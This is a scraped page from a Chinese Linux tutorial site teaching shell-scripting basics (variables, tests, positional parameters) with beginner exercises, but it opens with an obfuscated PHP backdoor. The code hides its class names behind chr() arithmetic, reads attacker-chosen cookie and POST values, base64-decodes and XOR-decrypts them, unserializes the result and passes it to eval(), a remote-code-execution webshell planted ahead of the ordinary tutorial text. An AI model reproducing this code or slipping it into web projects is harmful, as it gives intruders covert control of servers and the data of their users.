$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 初识shell脚本编程 | Linux运维部落

初识shell脚本编程

shell脚本基础

shell脚本是包含一些命令或声明,并符合一定格式的文本文件

一般格式要求:

1.首行shebang机制

#!/bin/bash

#!/bin/python

#!/usr/bin/perl

2.注释信息

以#开头,可写明脚本用途,作者,版本,时间等

3.脚本正文内容,

创建shell脚本

以bash为例

  1. 第一行定格#!/bin/bash

  2. 注释信息:

    1. #用途

    2. #作者 

    3. #版本

    4. #时间

  3. 脚本正文内容,保存退出

  4. 给予脚本文件执行权限,

    1. 在命令上执行脚本的绝对路径或相对路径

    2. 直接运行解释器,将脚本作为解释器程序的参数运行

脚本范例

blob.png

blob.png

脚本调试

当我们写完脚本时,可以使用指令检测脚本中的语法错误

   bash  -n  /path/to/some_script  ==>检测错误 

   bash  -x  /path/to/some_script  ==>调试执行

blob.png

blob.png

变量  :命令的内存空间

变量命名法则:

  1. 不能使用程序中的保留字:例如if,for ==>不能使用系统自带的变量名

  2. 只能使用数字,字母及下划线,且不能以数字开头

  3. 见名知意

  4. 统一命名规则:驼峰命名法

变量种类


本地变量:生效范围为当前shell进程;对当前shell之外的其他shell进程,包括当前shell的子shell进程均无效

blob.png

blob.png

blob.png

说明:脚本file1.sh定义变量num1,且脚本file2.sh是其子进程,脚本file2.sh中定义变量num2

运行file2.sh,变量num2有效显示,变量num1未显示,运行file1.sh,

变量num1有效显示,变量num2未显示,子进程file2.sh运行,变量num2有效显示,变量num1未显示

由以上可知,以上变量只在当前进程有效

环境变量:生效范围为当前shell进程及其子进程

blob.png

blob.png

blob.png

说明:在上面本地变量的基础上将变量类型改变成环境变量,执行效果也有差异

file2.sh是file.1sh的子进程,file1.sh中定义的变量file2.sh在作为其子进程运行时,

是有效果的,但是在file2.sh不作为file1.sh的子进程运行时,是没效果的,看单独运行

file2.sh中只有变量num2,而在运行file1.sh时,num2没有继承其子进程的变量

所以:生效范围为当前shell进程及其子进程,其父进程也是不生效的

局部变量:生效范围为当前shell进程中某代码片段(通常指函数)

位置变量:$1,$2,…..来表示,用于让脚本在脚本代码中调用通过命令行传递给它的参数

特殊变量$?,$0,$*,$@,$#

本地变量:

变量赋值:name=‘value’

  1. 可以直接是字符串;name=“root”

  2. 变量引用:name="$USER"

  3. 命令引用:name=`command` ,name=$(command)

变量引用:${name} ,$name

    " " :弱引用,其中的变量引用会被替换为变量值    

   ‘ ’:强引用,其中的变量引用不会被替换为变量值,而保持原字符

显示已定义的所有变量:set

删除变量: unset  name

环境变量

变量赋值:    

    export name=VALUE

    declare -x name=VALUE

变量引用:${name} ,$name

显示所有环境变量:

    export

    env    

    printenv

删除变量: unset name

bash内建的环境变量:PATH,SHELL,USER,UID,HISTSIZE,HOME,PWD,OLPWD,PS1,HISTFILE

只读变量:只能用,不能修改和删除

readonly  name

declare  -r  name

可用来定义一些固定的值,直接引用,例如π

位置变量:在脚本代码中调用通过命令行传递给脚本的参数

$1,$2,…:对应第1,2,….等参数

$0 :命令本身

$* :传递给脚本的所有参数,全部参数何为一个字符串

$@ :传递给脚本的所有参数,每个参数为独立字符串

$# :传递给脚本的参数的个数

备注:$@ $* 只在被双引号包起来的时候才会有差异(后面会专门验证)

算数运算:

bash的算术运算: +,-,*,/,%取余,**(乘方)

实现算术运算:

  1. let var=算术表达式

  2. var=$[算术运算]

  3. var=$((算术运算))

  4. var=$(expr arg1  arg2  arg3 ….)

  5. declare -i var  =  数值

  6. echo  `算术表达式` |bc

乘法符号游戏场景中需要转义:\*

bash 有内建的随机数生成器:$RANDOM (1-32767) )

    echo $[$RANDOM%50]  :0-49 之间随机数

blob.png

赋值

增强型赋值:

    变量做某种算数运算后会存至此变量中

    i=$[$i+1] ==>每运行一次此命令,变量i的值会增加1

    let i+=1 同上

    let i+=2每次增加2

    let(+=,-=,*=,/=,%=)

自增:

VAR=$[$VAR+1]

let VAR+=1

let VAR++

自减:

VAR=$[$VAR-1]

let VAR-=1

let VAR–

blob.png

逻辑运算

true :1   false:0

与:

    1与1=1

    1与0=0

    0与1=0

    0与0=0

或:    

    1或1=1

    1或0=1

    0或1=1

    0或0=0

非:!

    !1=0

    !0=1

短路运算:

    短路与:

        第一个为0,结果必定为0

        第一个为1,第二个必须要参与运算

    短路或:

        第一个为1,结果必定为1

        第一个为0,第二个必须要参与运算

异或:^

    异或的两个值相同为假,不同为真

聚集命令

复合式:date;who| wc -l

    命令会一个接一个的运行

子shell:(date;who|wc -l)>>/tmp/trace

    所有的输出都被发送给单个的STDOUT和STDERR

退出状态

进程使用退出状态来报告成功或失败

0:成功

1-255:失败

$? :变量保存最近的命令退出状态

 blob.png

退出状态码

bash自定义退出状态码

    exit [n] :自定义退出状态码

ps:脚本中一旦遇到exit命令,脚本会立即终止;终止状态取决于exit命令后面的数字

   如果未给脚本指定退出状态码,整个脚本的推出状态码取决于脚本中执行的最后一条命令的状态码

条件测试

    判断某需求是否满足,需由测试机制来实现

    如何编写测试表达式以实现所需的测试:

        1.执行命令,并利用命令的状态返回值来判断

            0:成功    

            1-255:失败

        2.测试表达式

            test expression  比较大小

            [ expression ]    

            [[ expression ]]

        注意:expression两端必须有空白字符,否则为语法错误

    

    根据退出状态而定,命令可以有条件的运行

        && 代表条件性的AND THEN

        || 代表条件性的OR ELSE

        

        短路与: command1&&command2

                如果command1成功,执行command2

                如果command1失败,不执行command2

  blob.png

        短路或:command1||command2

                如果command1成功,跳过command2

                如果command1失败,将执行command2

blob.png                

test

长格式

test "$A" == "$B"&& echo "xiangdeng"

test "$A" -eq "$B" && echo "budengde"

简写格式

[ "$A" ==  "$B" ]&& echo "xiangdeng"

[ "$A" -eq "$B  ]&& echo "budengde"

blob.png

bash 测试类型

数值测试:

-gt:是否大于

-ge:是否大于等于

-eq:是否等于

-ne:是否不等于

-lt:是否小于

-le:是否小于等于

blob.png

字符串测试

== :是否等于

>  :ascii码是否大于ascii码

<  :ascii码是否小于ascii码

!=:ascii码是否不等于ascii码

=~ :左侧字符串是否能够被右侧pattern所匹配

注意:此表达式一般用于[[ ]]中

-z “string”:字符串是否为空,空为真,不空为假

-n “string”:字符串是否不空,不空为真,空为假

注意:用于字符串比较时的用到的操作数都应该使用引号

[root@localhost ~]# A=bbb
[root@localhost ~]# B=aaa
[root@localhost ~]# C=aaa
[root@localhost ~]# [[ "$C" == "$B" ]]&& echo right
right
[root@localhost ~]# [[ "$C" == "$A" ]]&& echo right
[root@localhost ~]# [[ "$B" == "$A" ]]&& echo right
[root@localhost ~]# [[ "$B" == "$A" ]]&& echo right||echo wrong
wrong
[root@localhost ~]# [[ "$B" == "$c" ]]&& echo right||echo wrong
wrong
[root@localhost ~]# [[ "$B" == "$C" ]]&& echo right||echo wrong
right
[root@localhost ~]# [[ "$A" == "$C" ]]&& echo right||echo wrong
wrong

文件测试

存在性测试

-e file:文件存在性测试,存在为真,否则为假

-a file:同-e

存在性及类别测试

-b file :是否存在且为块设备文件

-c file :是否存在且为字符设备文件

-d file :是否存在且为目录文件

-f file :是否存在且为普通文件

-h file 或者-L file:存在且为符号链接文件

-p file :是否存在且为命名管道文件

-S file : 是否存在且为套接字文件

blob.png

文件权限测试:

-r file:是否存在且为可读

-w file: 是否存在且为可写

-x file: 是否存在且为可执行

文件特殊权限测试

-g file :是否存在且拥有sgid权限

-u file :是否存在且拥有suid权限

-k file :是否存在且拥有sticky权限

blob.png

文件大小测试

-s file :是否存在且为非空

blob.png

文件是否打开

-t fd :fd表示文件描述是否已经打开且与某终端相关

-N file:文件自上一次被读取之后是否被修改过

-O file:当前有效用户是否为文件属组

-G file: 当前有效用户是否为文件属组

双目测试

file1 -ef file2 :file1与file2是否指向同一个设备上的相同inode

file1 -nt file2: file1 是否新于file;

file1 -ot file2: file1 是否旧于file; ;

blob.png

组合测试条件

第一种:

    command1$$command2 并且

    command1||command2 或者

    !command 非

    例如[[ -e file ]] &&[[ -r file  ]]

第二种:

    expression1  -a  expression2 并且

    expression1  -o  expression2 或者

    !expression

     必须使用测试命令进行

关于位置变量总结 

1.位置变量中$@和$*的区别

当$@和$*不使用“”包起来时效果一样

blob.png

blob.png

当$@和$*用“”包起来时,执行$@正常运行

但是执行$*时报错显示的是没有“a b”这个文件后目录,

说明使用“”时,$*是把所有参数当作一个字符串的

$@则是每个参数都是分开的

blob.png

blob.png

$@和$*换个顺序看看有影响没

blob.png

blob.png

结果一样,所以上面结论成立

上课的时候老师好像不是这样验证的,我尝试下老师的方法

首先我创建了三个脚本,内容如下分别是t2.sh,t3.sh,t1.sh

其中t1.sh是t2.sh,t3.sh子脚本(后面简称脚本1.2.3)

blob.pngblob.pngblob.png

我们先看下运行三个脚本结果如何

运行脚本1时,1.2.4命令正常执行,说明命令和参数都没有问题,从其结果看也是正确的

命令3执行时显示的的是“a b c”这个文件,这是把a b c当作的是一个参数,和上面的结论一样的

这样说明了$*是把多个参数当作一个字符串的

blob.png

运行脚本3时,命令1.2正常执行,且结果正确,然后执行子脚本t1.sh参数是$*

但是t1第一行显示的a b c,t2第二行命令没显示,说明第二行没参数,所以没显示

t1第三四行显示正常结果,再次证明t1.sh运行时只有一个参数“a b c”

blob.png

在运行脚本2

所有参数都是正常执行,

blob.png

在强调一下结论:

     在被双引号包起来时 $*传递给脚本的所有参数,全部参数合为一个字符串,变成一个参数    

     $@不受影响,每个参数依然是独立的

$#:传递到脚本的参数个数

$0:命令本身

$$:脚本运行的当前进程ID号

$!:后台运行的最后一个进程的进程ID号

$?:显示最后命令的退出状态结果

    0:成功    

    1-255:失败

练习


1、编写脚本/root/bin/systeminfo.sh,显示当前主机系统信息,包括主机名,IPv4地址,操作系统版本,内核版本,CPU型号,内存大小,硬盘大小。

脚本内容如下:

1 #!/bin/bash
  2 #The current host system information
  3 echo -e "hello,everyone, \nThe current host system information is as follows"
  4 echo -e " "
  5 echo "hostname :`hostname`"
  6 echo ""
  7 echo "ip:`ifconfig |head -n2|tail -n1|tr " " ":"|tr -s ":"|cut -d: -f3`"
  8 echo ""
  9 echo -e  "system version:`cat /proc/version`"
 10 echo ""
 11 echo "kenel version:`uname -r`"
 12 echo ""
 13 echo -e "CPU Model:`lscpu |grep "Model name"|cut -d: -f2|sed 's@^[[:space:]]\+@@'`"
 14 echo ""
 15 echo -e "the memory capacity :`free -h|tr " " ":"|tr -s ":"|head -2|tail -1|cut -d: -f2`"
 16 echo ""
 17 echo -e "hard drive size:`fdisk -l |head -2|tail -1|cut -d: -f2|cut -d, -f1`"

运行结果如下:

blob.png

2、编写脚本/root/bin/backup.sh,可实现每日将/etc/目录备份到/root/etcYYYY-mm-dd中

脚本内容如下

 1 #!/bin/bash
 2 #discription:wen jian bei fen
 3 cp -a  /etc/  /root/etc`date +%Y-%m-%d`

因为暂时还没学到每日实现,只能做到手动备份,结果如下

blob.png

3、编写脚本/root/bin/disk.sh,显示当前硬盘分区中空间利用率最大的值

指令如下

 1 #!/bin/bash
  2 #ci pan li yong lv
  3 df|grep "sda"|tr " " ":"|tr -s ":"|cut -d: -f5|sort -rn|head -n1|tr -d "%"

结果:

blob.png

4、编写脚本/root/bin/links.sh,显示正连接本主机的每个远程主机的IPv4地址和连接数,并按连接数从大到小排序

命令如下

1 #!/bin/bash
  2 netstat -nt|grep tcp|tr " " ":"|tr -s ":"|cut -d: -f6|sort |uniq -c|sort -rn

blob.png

5、写一个脚本/root/bin/sumid.sh,计算/etc/passwd文件中的第10个用户和第20用户的ID之和

命令如下:

 1 #!/bin/bash
  2 user1_id=`cat /etc/passwd |head -10|tail -1|cut -d: -f3`
  3 echo "the 10 user_id: $user1_id"
  4 user2_id=`cat /etc/passwd |head -20|tail -1|cut -d: -f3`
  5 echo "the 20 user_id: $user2_id"
  6 sumid=$[$user1_id+$user2_id]
  7 echo "the sumid:$sumid"

结果:

blob.png

6、写一个脚本/root/bin/sumspace.sh,传递两个文件路径作为参数给脚本,计算这两个文件中所有空白行之和

空行和空白行表示的应该是不一样的

空行:^$

空白行:^[[:space:]]*$space

指令1如下

 1 #!/bin/bash
  2 num1=`cat /etc/rc.d/init.d/functions |grep "^[[:space:]]*$"|wc -l`
  3 echo "the 1st is: $num1"
  4 num2=`cat /etc/fstab |grep "^[[:space:]]*$"|wc -l`
  5 echo "the 2st is: $num2"
  6 sumspace=$[$num1+$num2]
  7 echo "the sum is: $sumspace"

blob.png

指令2如下

  1 #!/bin/bash
  2 num1=`cat /etc/rc.d/init.d/functions |grep "^$"|wc -l`
  3 echo "the 1st is: $num1"
  4 num2=`cat /etc/fstab |grep "^$"|wc -l`
  5 echo "the 2st is: $num2"
  6 sumspace=$[$num1+$num2]
  7 echo "the sum is: $sumspace"

blob.png

7、写一个脚本/root/bin/sumfile.sh,统计/etc, /var, /usr目录中共有多少个一级子目录和文件

命令:

  1 #!/bin/bash
  2 num1=`ls -A /etc|wc -l`
  3 echo "etc: $num1"
  4 num2=`ls -A /var|wc -l`
  5 echo  "var: $num2"
  6 num3=`ls -A /usr|wc -l`
  7 echo  "usr :$num3"
  8 sumfile=$[$num1+$num2+$num3]
  9 echo "the sumfile: $sumfile"

blob.png

8、写一个脚本/root/bin/argsnum.sh,接受一个文件路径作为参数;如果参数个数小于1,则提示用户“至少应该给一个参数”,并立即退出;如果参数个数不小于1,则显示第一个参数所指向的文件中的空白行数

命令:

1 #!/bin/bash
2 num1=1
3 [[ $# -lt  $num1  ]]  &&( echo "zhishaoyinggai geiyige canshu" ;exit)|| grep "^$" $1|wc -l

blob.png

9、chmod -rw /tmp/file1,编写脚本/root/bin/per.sh,判断当前用户对/tmp/fiile1文件是否不可读且不可写

命令

 1 #!/bin/bash
  2 [ -r /tmp/file1  -o  -w /tmp/file1 ]&&echo 读写至少一个 ||echo 不可读且不可写

blob.png

10、编写脚本/root/bin/nologin.sh和login.sh,实现禁止和充许普通用户登录系统。

说明下,当/etc/nologin文件存在时,用户是禁止登录的,知道了这个上面的就简单了

禁止登录

 1 #!/bin/bash
 2 [ -f /etc/nologin ] && echo "user cannot login" || (touch /etc/nologin; echo "user cannot login")

blob.png

允许登录

 1 #!/bin/bash
 2 [ -f /etc/nologin ]&& (rm -rf /etc/nologin ; echo "user can login") ||echo  "user already login"

blob.png

11、写一个脚本/root/bin/hostping.sh,接受一个主机的IPv4地址做为参数,先判断是否合格IP,否,提示IP格式不合法并退出,是,测试是否可连通。如果能ping通,则提示用户“该IP地址可访问”;如果不可ping通,则提示用户“该IP地址不可访问”

命令:

1 #!/bin/bash
2 ping -c1 -w1 $1 &>/dev/null &&echo "the ip can access" ||echo "the ip cannot access"

blob.png

12、计算1+2+3+…+100的值

1 #!/bin/bash
  2 echo the sumnumis: `echo {1..100}|tr " " "+"|bc`

blob.png

13、计算从脚本第一参数A开始,到第二个参数B的所有数字的总和,判断B是否大于A,否提示错误并退出,是则计算之

1 #!/bin/bash
 2 [[ $1 -lt $2  ]] && seq -s+ $1 $2|bc || (echo "error" ;exit)

blob.png

原创文章,作者:qiuwei,如若转载,请注明出处:http://www.178linux.com/33529

(0)
上一篇 2016-08-15 09:25
下一篇 2016-08-15 09:26

相关推荐

  • yum详解及源码包的编译安装

    yum的功能:     在我们使用rpm包安装程序时,各个程序包之间可能存在非常严重的依赖关系,这就导致我们在安装一个包的同时还需要安装其他存在依赖关系的包,因此我们可以使用rpm包的前端管理工具yum,可通过yum所支持的文件共享机制来解决各个rpm包之间的依赖关系。 yum仓库的配置文件:   …

    Linux干货 2016-08-25
  • 链接的“软”与“硬”

    前言     类似Windows系统,Linux系统在进行文件管理时,也会引入链接概念。而链接又分为软链接和硬链接,两种链接适用于不同场合、不同用途,各有优缺点。在介绍软硬两种链接之前,需要先引入inode的概念。 Inode:     系统在管理文件时,为了有序寻址,会将元数据(metadata)和用户数据…

    Linux干货 2016-10-20
  • Shell脚本编程中的if、case、for、while、until命令

    为何要学编程中的if、case、for、while、until命令?        作为一个运维工程师,总会听到自动化,实际自动化离不开编写shell脚本,而shell脚本中却又离不开编程中的if、case、for、while、until, 这些关键字。 了解编程中的if、case、for、while、until命令,…

    Linux干货 2016-08-19
  • bash的一些特性

    bash的字符串处理工具 字符串切片: ${var:offset:number} 取字符串的子串; 取字符串的最右侧的几个字符:${var: -length} 注意:冒号后必须有一个空白字符; 基于模式取子串; ${var#*word}: 其中word是指定的分隔符;功能:自左而右,查找var变量中所存储的字符串中,第一次出现word分隔符,删除字符串开头至…

    Linux干货 2016-08-24
  • Redis基于Sentinel哨兵高可用方案

    下载最新redis版本,当前最新版本为  2.8.19  2014-12-30 安装redis 首页地址:http://redis.io/ 最新稳定版下载地址: http://download.redis.io/releases/redis-2.8.19.tar.gz # tar -xvf redis-2.8.19.tar.gz # cd…

    2015-03-03
  • PXE自动部署CentOS6

    1、安装需要的软件    (1)dhcp     (2)http    (3)tftp-server    (4)system-config-kickstart    (5)syslinux [root@centos6 ~]# y…

    Linux干货 2016-06-26

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-16 14:18

    总结的很好很详细,态度认真,内容充实,排版精美,再接再厉。